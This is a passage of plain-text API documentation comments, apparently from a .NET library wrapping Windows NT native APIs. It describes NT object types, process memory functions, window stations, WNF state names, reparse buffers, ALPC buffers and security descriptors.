paged pool usage (when originally retrieved) + + + + + Maximum non-paged pool usage (when originally retrieved) + + + + + Maximum name pool usage (when originally retrieved) + + + + + Maximum handle table usage (when originally retrieved) + + + + + The attributes flags which are invalid + + + + + Indicates whether handle count is mainted + + + + + Indicates the type list maintained + + + + + Indicates the type of pool used in allocations + + + + + Current paged pool usage + + + + + Current non-pages pool usage + + + + + Type Index + + + + + Generic Read Access rights + + + + + Generic Read Access rights + + + + + Generic Read Access rights + + + + + Generic Read Access rights + + + + + Get the maximum access mask for the type's default mandatory access policy. + + + + + Get implemented object type for this NT type. + + + + + Get the access rights enumerated type for this NT type. + + + + + Get the access rights enumerated type for this NT type if it's a container. + + There's only one known type at the moment which uses this, File. + + + + Can this type of open be opened by name + + + + + Get the valid access rights for this Type. + + + + + Get the valid read access rights for this Type. + + + + + Get the valid write access rights for this Type. + + + + + Get the valid execute access rights for this Type. + + + + + Get the valid all access rights for this Type. + + + + + Get the valid mandatory access rights for this Type. + + + + + Get defined query information classes for a type. + + + + + Get defined set information classes for a type. + + + + + Open this NT type by name (if CanOpen is true) + + The object attributes to open. + Desired access when opening. + True to throw an exception on error. + The NT status code and object result. + + + + Open this NT type by name (if CanOpen is true) + + The name of the object to open. + The root object for opening, if name is relative + Desired access when opening. + The created object. + Thrown on error + + + + Open this NT type by name (if CanOpen is true) + + The name of the object to open. + The root object for opening, if name is relative + The created object. + Thrown on error + + + + Open this NT type by name (if CanOpen is true) + + The name of the object to open. + The created object. + Thrown on error + + + + Get object from an existing handle. + + The existing handle. + The new object. + + + + Get object from an existing handle. + + The existing handle. + True to own the handle. + The new object. + + + + Get object from an existing handle. + + The existing handle. + The call doesn't own the handle. The returned object can't be used to close the handle. + The new object. + + + + Convert an enumerable access rights to a string + + True to use the container access type. + The granted access mask. + True to try and convert to generic rights where possible. + Set to true to use SDK style names. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + True to use the container access type. + The granted access mask. + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + The granted access mask. + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + The granted access mask. + The string format of the access rights + + + + Checks if an access mask represents a read permission on this type + + The access mask to check + True if it has read permissions + + + + Checks if an access mask represents a write permission on this type + + The access mask to check + True if it has write permissions + + + + Checks if an access mask represents a execute permission on this type + + The access mask to check + True if it has execute permissions + + + + Checks if an access mask represents a full permission on this type + + The access mask to check + True if it has full permissions + + + + Map generic access rights to specific access rights for this type + + The access mask to map + The mapped access mask + + + + Unmap specific access rights to generic access rights for this type + + The access mask to unmap + The unmapped access mask + + + + Checks if an access mask is valid for access of this object type. + + The access mask to check + True if it valid access + + + + Get the maximum access mask for the type's default mandatory access policy. + + The allowed access mask for the type with the default policy. + + + + Overridden ToString method. + + Returns the type as a string. + + + + Create an NtType object by name. + + The name of the NT type. + This will always return a cached type. + Invalid NT type name. + + + + Get a type object by index + + The index + The object type, null if not found + + + + Get a type object by index + + The index, must be >= 0. + True to get a cached type, false to return a live types. + The object type, null if not found + + + + Get a type object by name + + The name of the type + True to create a fake type if needed. + True to get a cached type, false to return a live types. + The object type, null if not found + + + + Get a type object by name + + The name of the type + True to create a fake type if needed. + The object type, null if not found + + + + Get a type object by name + + The name of the type + The object type, null if not found + + + + Get a type object by a kernel handle. + + The kernel handle. + True to create a fake type if needed. + The object type, null if not found + + + + Get an NT type based on the implemented .NET type. + + A type derived from NtObject + True to get a cached type, false to return a live types. + The NtType represented by this .NET type. Note if a type is represented with multiple + names only return the first one we find. + Thrown if there exists no .NET type which maps to this type. + + + + Get an NT type based on the implemented .NET type. + + A type derived from NtObject + The NtType represented by this .NET type. Note if a type is represented with multiple + names only return the first one we find. + Thrown if there exists no .NET type which maps to this type. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_MAPPING for security checking. + The access rights enumeration type. + The access rights enumeration type of the object is a container. + The mandatory label policy. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_MAPPING for security checking. + The access rights enumeration type. + The access rights enumeration type of the object is a container. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_MAPPING for security checking. + The access rights enumeration type. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_READ for security checking. + The GENERIC_WRITE for security checking. + The GENERIC_EXECUTE for security checking. + The GENERIC_ALL for security checking. + The access rights enumeration type. + The access rights enumeration type of the object is a container. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_READ for security checking. + The GENERIC_WRITE for security checking. + The GENERIC_EXECUTE for security checking. + The GENERIC_ALL for security checking. + The access rights enumeration type. + The fake NT type object. + + + + Get a list of all types. + + The list of types. + + + + Get a list of all types. + + True to get the cached list of types, false to return a live list of all types. + True to include fake types such as WNF or Service + The list of types. + + + + Get a list of all types. + + True to get the cached list of types, false to return a live list of all types. + The list of types. + + + + Get the NT type from a path. + + The object manager path. + Optional root object. + The NT type. Returns null if not available or unknown. + + + + Converted user process parameters. + + + + + Static class to access virtual memory functions of NT. + + + + + Query section name, + + The process to query from. + The base address to query. + True to throw on error + The result of the query. + + + + Query section name, + + The process to query from. + The base address to query. + The result of the query. + + + + Query memory information for a process. + + The process to query. + The base address. + True to throw on error. + The memory information for the region. + Thrown on error. + + + + Query memory information for a process. + + The process to query. + The base address. + The memory information for the region. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + Thrown on error. + + + + Query a list of mapped files in a process. + + The process to query. + The list of mapped images + Thrown on error. + + + + Read memory from a process. + + The process to read from. + The base address in the process. + The length to read. + The array of bytes read from the location. + If a read is short then returns fewer bytes than requested. + Thrown on error. + + + + Write memory to a process. + + The process to write to. + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Read structured memory from a process. + + The process to read from. + The base address in the process. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory to a process. + + The process to write to. + The base address in the process. + The data to write. + Thrown on error. + Type of structure to write. + + + + Read structured memory array from a process. + + The process to read from. + The base address in the process. + The number of elements in the array to read. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory array to a process. + + The process to write to. + The base address in the process. + The data array to write. + Thrown on error. + Type of structure to write. + + + + Allocate virtual memory in a process. + + The process to allocate in. + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + True to throw on error. + The address of the allocated region. + Thrown on error. + + + + Allocate virtual memory in a process. + + The process to allocate in. + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + The address of the allocated region. + Thrown on error. + + + + Free virtual emmory in a process. + + The process to free in. + Base address of region to free + The size of the region. + The type to free. + Thrown on error. + + + + Free virtual emmory in a process. + + The process to free in. + Base address of region to free + The size of the region. + The type to free. + True to throw on error. + Thrown on error. + + + + Change protection on a region of memory. + + The process to change memory protection + The base address + The size of the memory region. + The new protection type. + The old protection for the region. + Thrown on error. + + + + Change protection on a region of memory. + + The process to change memory protection + The base address + The size of the memory region. + The new protection type. + True to throw on error. + The old protection for the region. + Thrown on error. + + + + Query working set information for an address in a process. + + The process to query. + The base address to query. + True to throw on error + The working set information. + Thrown on error. + + + + Query working set information for an address in a process. + + The process to query. + The base address to query. + The working set information. + Thrown on error. + + + + Query image information for an address in a process. + + The process to query. + The base address to query. + True to throw on error + The image information. + Thrown on error. + + + + Query image information for an address in a process. + + The process to query. + The base address to query. + The image information. + Thrown on error. + + + + Determine if two addresses are the same mapped file. + + The first address. + The second address. + True to throw on error. + True if the mapped memory is the same file. + + + + Determine if two addresses are the same mapped file. + + The first address. + The second address. + True if the mapped memory is the same file. + + + + Flush instruction cache. + + The process to flush the cache in. + The address to flush. + The number of bytes to flush/ + True to throw on error. + The NT status code. + + + + Flush instruction cache. + + The process to flush the cache in. + The address to flush. + The number of bytes to flush/ + + + + Native Wait methods. + + + + + Wait on a single object to become signaled + + The object to wait on + Whether the thread should be alertable + The timeout to wait for + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + + + + Wait on multiple objects to become signaled + + The objects to wait on + Whether the thread should be alerable + True to wait for all objects to be signaled + The timeout to wait for + The success status of the wait, such as STATUS_WAIT_OBJECT_0 or STATUS_TIMEOUT + + + + Signal an object then wait for another to become signaled. + + The object to signal + The object to wait on. + Whether the thread should be alertable + The timeout to wait for + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + + + + A .NET wait handle to use for interop. + + + + + Create a .NET wait handle from an object. + + The object to create the wait handle on + + + + Wait asynchronously for the handle to be signaled. + + Timeout in milliseconds. + Cancellation token for wait. + A task to wait on. If result is true then event was signaled. + + + + Wait asynchronously for the handle to be signaled. + + Timeout in milliseconds. + A task to wait on. If result is true then event was signaled. + + + + Wait asynchronously for the handle to be signaled. + Will wait an infinite time. + + A task to wait on. + + + + Class to represent an NT timeout + + + + + Get a timeout which will wait indefinitely. + + + + + Get a relative timeout in seconds. + + The number of seconds to wait. + An instance of the timeout class. + + + + Get a relative timeout in milliseconds. + + The number of milliseconds to wait. + An instance of the timeout class. + + + + Get an absolute time out from system start. + + The absolute time to wait until. + An instance of the timeout class. + + + + Get a relative time out from the current time. + + The relative time to wait in units of 100ns. + An instance of the timeout class. + + + + Create an absolute wait timeout from a datetime. + + The time for the timeout to complete. + An instance of the timeout class. + + + + The timeout as a long. + + + + + Overridden ToString method. + + The timeout as a string. + + + + Well-known IO Control codes. + + + + + Convert a control code to a known name. + + The control code. + The known name, or an empty string. + + + + Get a list of known control codes. + + The list of known control codes. + + + + Get a list of known control codes. + + The control code. + Thrown if can't find name. + + + + Structure to represent a Window. + + + + + The Window Handle. + + + + + Get Process ID for the Window. + + + + + Get the Thread ID for the Window. + + + + + Get the real owner Process ID of the Window. + + + + + Get the class name for the Window. + + + + + Send a message to the Window, Unicode. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Send a message to the Window, ANSI. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Post a message to the Window, Unicode. + + The message to send. + The WPARAM. + The LPARAM. + True to throw on error. + The send result. + + + + Post a message to the Window, Unicode. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Send a message to the Window, ANSI. + + The message to send. + The WPARAM. + The LPARAM. + True to throw on error. + The send result. + + + + Send a message to the Window, ANSI. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Constructor. + + Window handle. + + + + Constructor. + + Window handle. + + + + Get the NULL window handle. + + + + + Get the desktop window. + + + + + Get the broadcast window. + + + + + Get all Top Level windows. + + + + + Enumerate window handles. + + Desktop containing the Windows. Optional. + The parent Window. Optional. + True to enumerate child Windows. + Hide immersive Windows. + The thread ID that owns the Window. + True to throw on error. + The enumerated Window Handles. + + + + Enumerate window handles. + + Desktop containing the Windows. Optional. + The parent Window. Optional. + True to enumerate child Windows. + Hide immersive Windows. + The thread ID that owns the Window. + The enumerated Window Handles. + + + + Class which represents a window station object. + + + + + Open a window station by name. + + The object attributes for opening. + Desired access. + True to throw on error. + The instance of the window station + Thrown on error. + + + + Open a window station by name. + + The object attributes for opening. + Desired access. + The instance of the window station + Thrown on error. + + + + Open a window station by name. + + The name of the window station + Optional root object + The instance of the window station + Thrown on error. + + + + Open a window station by name. + + + The instance of the window station + Thrown on error. + + + + Create a Window Station by name. + + Object attributes for the Window Station. + Desired access for the Window Station. + Path to Keyboard DLL e.g. kbusa.dll. + Locale ID, e.g. 0x4090409. + Language ID e.g. 0x409. + True to throw on error. + The Window Station. + + + + Create a Window Station by name. + + Object attributes for the Window Station. + Desired access for the Window Station. + Path to Keyboard DLL e.g. kbusa.dll. + Locale ID, e.g. 0x4090409. + Language ID e.g. 0x409. + The Window Station. + + + + Create a Window Station by name. + + The name of the Window Station. + The Window Station. + + + + Get a list of desktops for this Window Station. + + + + + Enumerate name of Window Stations in current session. + + + + + Get a list of accessible Window Station objects. + + The desired access for the Window Stations. + The list of desktops. + + + + Get a list of accessible Window Station objects. + + The list of desktops. + + + + Get a list of accessible desktop objects. + + The desired access for the desktops. + The list of desktops. + + + + Get a list of accessible desktop objects. + + The list of desktops. + + + + Close the Window Stations. This is different from normal Close as it destroys the Window Station. + + True to throw on error. + The NT status. + + + + Set the Window Station for the Process. + + True to throw on error. + The NT status. + + + + Open the current process Window Station. + + True to throw on error. + The instance of the window station + The returned object is no owned by the caller. + Thrown on error. + + + + Open the current process Window Station. + + + + + Get the Window Station directory for a session. + + The session ID. + The path to the Window Station directory. + + + + Get the Window Station directory for the current session. + + The path to the Window Station directory. + + + + NT WNF object. + + + + + Get the generic mapping for a + + + + + Fake NT type name for WNF. + + + + + Create a new WNF state name. + + The lifetime of the name. + The scope of the data. + Whether to persist data. + Optional type ID. + Maximum state size. + Mandatory security descriptor. + True to throw on error. + The created object. + + + + Kernel derived key which is used to mask the state name. + + + + + Create a new WNF state name. + + The lifetime of the name. + The scope of the data. + Whether to persist data. + Optional type ID. + Maximum state size. + Mandatory security descriptor. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The statename to open. + True to check state name exists. + True to throw on error. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The statename to open. + True to check state name exists. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The statename to open. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The name to open. + True to check state name exists. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The name to open. + The created object. + + + + Get registered notifications. + + The list of registered notifications. + + + + Get the state name for this WNF entry. + + + + + The state name decoded. + + + + + Get the associated lifetime for the state name. + + + + + Version of the WNF state name. + + + + + Data scope of WNF state name. + + + + + Is WNF state name persistent. + + + + + Unique identifier of WNF state name, + + + + + Get if the state has subscribers. + + + + + Get the security descriptor for this object, if known. + + + + + Get a name for the WNF notification. + + + + + Query state data for the WNF object. + + Optional Type ID. + Optional explicit scope. + True to throw on error. + The state data. + + + + Query state data for the WNF object. + + Optional Type ID. + Optional explicit scope. + The state data. + + + + Query state data for the WNF object. + + The state data. + + + + Update state data for the WNF object. + + The data to set. + Optional Type ID. + Optional explicit scope. + Optional matching changestamp. + True to throw on error. + The status from the update. + + + + Update state data for the WNF object. + + The data to set. + + + + Delete the state data for the WNF object. + + Optional explicit scope. + True to throw on error. + The NT status code. + + + + Delete the state data for the WNF object. + + Optional explicit scope. + + + + Delete the state data for the WNF object. + + + + + Overridden ToString method. + + The string representation. + + + + Get dictionary of well known WNF state names. + + This was dumped from perf_nt_c.dll 10.0.18362.1 using https://github.com/ionescu007/wnfun. + + + + Get the state name to name mappings. + + + + + Get the name to state name mappings. + + + + + Get the name of a state name if known. + + The state name. + The name of the state name, or null if unknown. + + + + Flags for OBJECT_ATTRIBUTES + + + + + None + + + + + Handle is protected from closing. + + + + + The handle created can be inherited + + + + + Audit handle close. + + + + + The object created is marked as permanent + + + + + The object must be created exclusively + + + + + The object name lookup should be done case insensitive + + + + + Open the object if it already exists + + + + + Open the object as a link + + + + + Create as a kernel handle (not used in user-mode) + + + + + Force an access check to occur (not used in user-mode) + + + + + Ignore impersonated device map when looking up object + + + + + Fail if a reparse is encountered + + + + + A class which represents OBJECT_ATTRIBUTES + + + + + Constructor. Sets flags to None + + + + + Constructor + + The name of the object + Attribute flags + + + + Constructor + + The name of the object + Attribute flags + A root object to lookup a relative path + + + + Constructor + + Attribute flags + + + + Constructor + + The name of the object + + + + Constructor + + An object ID. + The object attribute flags. + An optional root handle, can be SafeKernelObjectHandle.Null. Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + + + + Constructor + + The object name, can be null. + The object attribute flags. + An optional root handle, can be SafeKernelObjectHandle.Null. Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + + + + Constructor + + The object name, can be null. + The object attribute flags. + An optional root handle, Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + + + + Create an Object Attributes structure with a raw name. Useful for Object ID handling. + + The name of the object in raw bytes. + The object attribute flags. + An optional root handle, Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + The created object attributes. + + + + Dispose + + + + + Object type entry for an access check. + + + + + The object level. + + + + + The object type GUID. + + + + + The name of the object. + + + + + Constructor. + + + + + Constructor. + + The object type GUID. + The object level. + The name of the object type entry. + + + + Constructor. + + The object type GUID. + The object level. + + + + Constructor. + + The object type GUID. + + + + Overridden ToString method. + + The object formatted. + + + + This class allows a function to specify an optional Guid + + + + + Optional Guid + + + + + Constructor + + The GUID to initialize + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional uint16. + + + + + Optional value + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional int32. + + + + + Optional value + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional int64. + + + + + Optional value + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional length as a SizeT + + + + + Optional length + + + + + Constructor + + The length value + + + + Constructor + + The length value + + + + Constructor + + The length value + + + + Implicit conversion + + The length value + + + + This class allows a function to specify an optional pointer. + + + + + Optional length + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + The result of a privilege check. + + + + + The list of privileges from the result. + + + + + The list of enabled privileges. + + + + + True indicates all privileges were held. + + + + + A single process module. + + + + + The module section. + + + + + Mapped base. + + + + + Image base. + + + + + Image size. + + + + + Flags. + + + + + Load order index. + + + + + Init order index. + + + + + Load count. + + + + + Full path name. + + + + + File name. + + + + + Reparse Tag value. + + + + + Base class for a reparse buffer. + + + + + The reparse tag in the buffer. + + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Constructor. + + The reparse tag to assign. + + + + Get a reparse buffer from a byte array. + + The byte array to parse + The reparse buffer. + + + + Get a reparse buffer from a byte array. + + The byte array to parse + True to return an opaque buffer if + the tag isn't known, otherwise try and parse as a generic buffer + The reparse buffer. + + + + Convert reparse buffer to a byte array in REPARSE_DATA_BUFFER format. + + The reparse buffer as a byte array. + + + + Convert reparse buffer to a byte array in the REPARSE_DATA_BUFFER_EX format. + + Flags for the buffer. + Existing GUID to match against. + Existing tag to matcha against. + The reparse buffer as a byte array. + + + + Get if a reparse tag is a Microsoft defined one. + + + + + Get if a reparse tag is a name surrogate. + + True if it's a surrogate reparse tag. + + + + Get if a reparse tag is a directory. + + + + + Generic GUID reparse buffer. + + + + + Constructor. + + The reparse tag. + The reparse GUID + Additional reparse data. + + + + Constructor. + + The reparse tag. + The reparse GUID + Additional reparse data. + + + + The reparse GUID. + + + + + Additional reparse data. + + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Reparse buffer with an opaque data blob. + + + + + Constructor. + + The reparse tag. + The opaque data blob. + + + + The opaque data blob. + + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Reparse buffer for an NTFS mount point. + + + + + Constructor. + + Substitution name to reparse to when accessing mount point. + Printable name for the mount point. + + + + Substitution name to reparse to when accessing mount point. + + + + + Printable name for the mount point. + + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Symlink flags. + + + + + None. + + + + + Substitution name is relative to the symlink. + + + + + Reparse buffer for an NTFS symlink. + + + + + Constructor. + + Substitution name to reparse to when accessing symlink. + Printable name for the symlink. + Symlink flags. + + + + Constructor. + + Substitution name to reparse to when accessing symlink. + Printable name for the symlink. + Symlink flags. + Create a global symlink rather than a normal symlink. + + + + Substitution name to reparse to when accessing symlink. + + + + + Printable name for the symlink. + + + + + Symlink flags. + + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Application type for execution alias. + + + + + Desktop bridge application. + + + + + UWP type 1 + + + + + UWP type 2 + + + + + UWP type 3 + + + + + Reparse buffer for an execution alias. + + + + + The execution alias version. + + + + + The name of the application package. + + + + + The entry point in the package. + + + + + The target executable. + + + + + Application type for the alias. + + + + + Flags, obsolete. + + + + + Constructor. + + The execution alias version. + The name of the application package. + The entry point in the package. + The target executable. + Apptype for the alias. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Safe buffer for an ALPC data view. + + + + + Flags for the data view. + + + + + Get the port section handle. + + + + + Convert the section view to a message attribute. + + The message attribute. + + + + Release the data view handle. + + True if successfully released. + + + + Safe buffer to contain an ALPC port message. + + + + + Constructor. + + The port message header. + The total length of allocated memory excluding the header. + + + + Constructor. Creates a receive buffer with a set length. + + The total length of allocated memory excluding the header. + + + + Get a NULL safe buffer. + + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe handle for a port section. + + + + + Release handle. + + True if handle released successfully. + + + + Safe handle for an ALPC security context. + + + + + Attribute flags. + + + + + Security quality of service. + + + + + Get the security context as a message attribute. + + The message attribute. + + + + Get whether handle is invalid. + + + + + Release handle. + + True if handle released successfully. + + + + Revoke the security context attribute. + + True to throw on error. + The NT status code. + + + + Revoke the security context attribute. + + + + + Safe buffer to contain a list of structures. + + + + + The count of elements of the array. + + + + + Constructor. + + Array of elements. + Additional data to place after the array. + + + + Constructor. + + Array of elements. + + + + Get a reference to the additional data. + + + + + Get a NULL safe array buffer. + + + + + Dispose buffer. + + True if disposing. + + + + Safe buffer which acts as a base class for all other SafeBuffer types in the library. + + + + + Constructor + + Size of the buffer. + An existing pointer to a buffer. + Specify whether safe handle owns the buffer. + Inidicates if the underlying buffer is writable. + + + + Constructor + + Size of the buffer. + An existing pointer to a buffer. + Specify whether safe handle owns the buffer. + + + + Length of the allocation. + + + + + Length of the allocation as a long. + + + + + Get the length as an IntPtr + + + + + Convert the safe handle to an array of bytes. + + The data contained in the allocaiton. + + + + Read a NUL terminated string for the byte offset. + + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated string + + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string for the byte offset. + + The byte offset to read from. + Text encoding for the string. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string + + Text encoding for the string. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string for the byte offset. + + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string + + The string read from the buffer without the NUL terminator + + + + Read a unicode string from the buffer. + + The offset into the buffer to read. + The number of characters to read. + The read unicode string. + + + + Read a unicode string from the buffer. + + The number of characters to read. + The read unicode string. + + + + Write a unicode string to the buffer. + + The offset into the buffer to write. + The value to write. + + + + Write a unicode string to the buffer. + + The value to write. + + + + Read an array of bytes from the buffer. + + The offset into the buffer. + The number of bytes to read. + The read bytes. + + + + Read an array of bytes from the buffer. + + The number of bytes to read. + The read bytes. + + + + Write an array of bytes to the buffer. + + The offset into the buffer. + The bytes to write. + + + + Write an array of bytes to the buffer. + + The bytes to write. + + + + Read array from the buffer. + + The type to read. + The offset into the buffer. + The number of elements to read. + The read array. + + + + Read an array of complex structures which can contain references. Doing this from a buffer is a dangerous operation. + + The buffer type. + The offset into the buffer. + The number of elements. + The array structures. + This doesn't bounds check the buffer size for the array or embedded structures so could easily crash the application. + + + + Zero an entire buffer. + + + + + Fill an entire buffer with a specific byte value. + + The fill value. + + + + Get a structured buffer object at a specified offset. + + The type of structure. + The offset into the buffer. + The structured buffer object. + + + + Get the buffer as a memory stream + + + + + + Create a view accessor over the full buffer. + + The view accessor. + + + + Create a view accessor. + + Offset into the buffer + Size of view. + The view accessor. + + + + Create a view accessor. + + Offset into the buffer + Size of view. + True to make the view writable. False for read-only + The view accessor. + + + + A safe handle to an allocated global buffer. + + + + + Constructor + + Size of the buffer to allocate. + + + + Constructor + + The length of data to allocate. + The total length to reflect in the Length property. + + + + Constructor + + Size of the buffer. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Constructor + + Initialization data for the buffer. + + + + Get a buffer which represents NULL. + + + + + Resize the SafeBuffer. + + + + + + Overridden ReleaseHandle method. + + True if successfully released the memory. + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Non-generic buffer to hold an IO_STATUS_BLOCK. + + + + + Constructor. + + + + + Get a buffer which represents NULL. + + + + + Safe handle which represents a kernel handle. + + + + + Constructor. + + An existing kernel handle. + True to own the kernel handle. + + + + Overridden ReleaseHandle method. + + True if successfully released the handle. + + + + Overridden IsInvalid method. + + + + + Get a handle which represents NULL. + + + + + Get or set whether the handle is inheritable. + + + + + Get or set whether the handle is protected from closing. + + + + + Get the NT type name for this handle. + + The NT type name. + + + + Overridden ToString method. + + The handle as a string. + + + + Class which is allocated from the process heap. + + + + + Constructor + + Size of the buffer to allocate. + + + + Constructor + + Initialization data for the buffer. + + + + Constructor + + The length of data to allocate. + The total length to reflect in the Length property. + + + + Constructor + + Size of the buffer. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Get a buffer which represents NULL. + + + + + Overridden ReleaseHandle method. + + True if successfully released the memory. + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe SID buffer. + + This is used to return values from the RTL apis which need to be freed using RtlFreeSid + + + + Safe handle for an in/out structure buffer. + + The type of structure as the base of the memory allocation. + + + + Constructor + + Structure value to initialize the buffer. + + + + Constructor, initializes buffer with a default structure. + + + + + Constructor + + Size of the buffer. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Constructor + + Additional data to add to structure buffer. + If true additional_size is added to structure size, otherwise reflects the total size. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Constructor, initializes buffer with a default structure. + + Additional data to add to structure buffer. + If true additional_size is added to structure size, otherwise reflects the total size. + + + + Constructor + + Structure value to initialize the buffer. + Additional data to add to structure buffer. + If true additional_size is added to structure size, otherwise reflects the total size. + + + + Get a buffer which represents NULL. + + + + + Overridden ReleaseHandle method. + + True if successfully released the memory. + + + + Get or set the result structure in the memory buffer. + + + + + Get a reference to the additional data. + + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe buffer for a list of Token groups. + + + + + Constructor. + + The list of SID and attributes. + The list of allocated SIDs. + + + + NULL safe buffer. + + + + + Create a buffer from a list of groups. + + The group list. + The safe buffer. + + + + Dispose. + + True if disposing. + + + + Safe buffer for token privileges. + + + + + Constructor. + + List of privileges. + + + + NULL safe buffer. + + + + + Security descriptor control flags. + + + + + Security descriptor. + + + + + Discretionary access control list (can be null) + + + + + System access control list (can be null) + + + + + Owner (can be null) + + + + + Group (can be null) + + + + + Get or set Control flags. This is computed based on the current state of the SD. + + + + + Revision value + + + + + The resource manager control flags. + + + + + Get or set an associated NT type for this security descriptor. + + + + + Get or set mandatory label. Returns a medium label if it doesn't exist. + + + + + Get the process trust label. + + + + + Get list of access filters. + + + + + Get list of resource attributes. + + + + + Get the scoped policy ID. + + + + + Get or set the integrity level + + + + + Get or set the server security flag. + + + + + Get or set the DACL untrusted flag. + + + + + Get whether the DACL is present. + + + + + Get count of ACEs in DACL. + + + + + Get whether the SACL is present. + + + + + Get count of ACEs in DACL. + + + + + Indicates if the security descriptor was constructed from a self relative format. + + + + + Indicates if the SD's DACL is canonical. + + + + + Indicates if the SD's SACL is canonical. + + + + + Indicates if the SD's DACL is defaulted. + + + + + Indicates if the SD's SACL is defaulted. + + + + + Indicates if the SD's DACL is auto-inherited. + + + + + Indicates if the SD's SACL is auto-inherited. + + + + + Indicates if the SD came from a container. + + + + + Indicates the SD has audit ACEs present. + + + + + Indicates the SD has a mandatory label ACE present. + + + + + Indicates the SD has a NULL DACL. + + + + + Indicates the SD has a NULL SACL. + + + + + Get the access rights enum type for this SD based on the NT Type property. + + + + + Get the mandatory label. Returns null if it doesn't exist. + + True to include InheritOnly ACEs in the search. + The valid mandatory ACE for this security descriptor. Or null if it doesn't exist. + + + + Get the mandatory label. Returns null if it doesn't exist. + + The valid mandatory ACE for this security descriptor. Or null if it 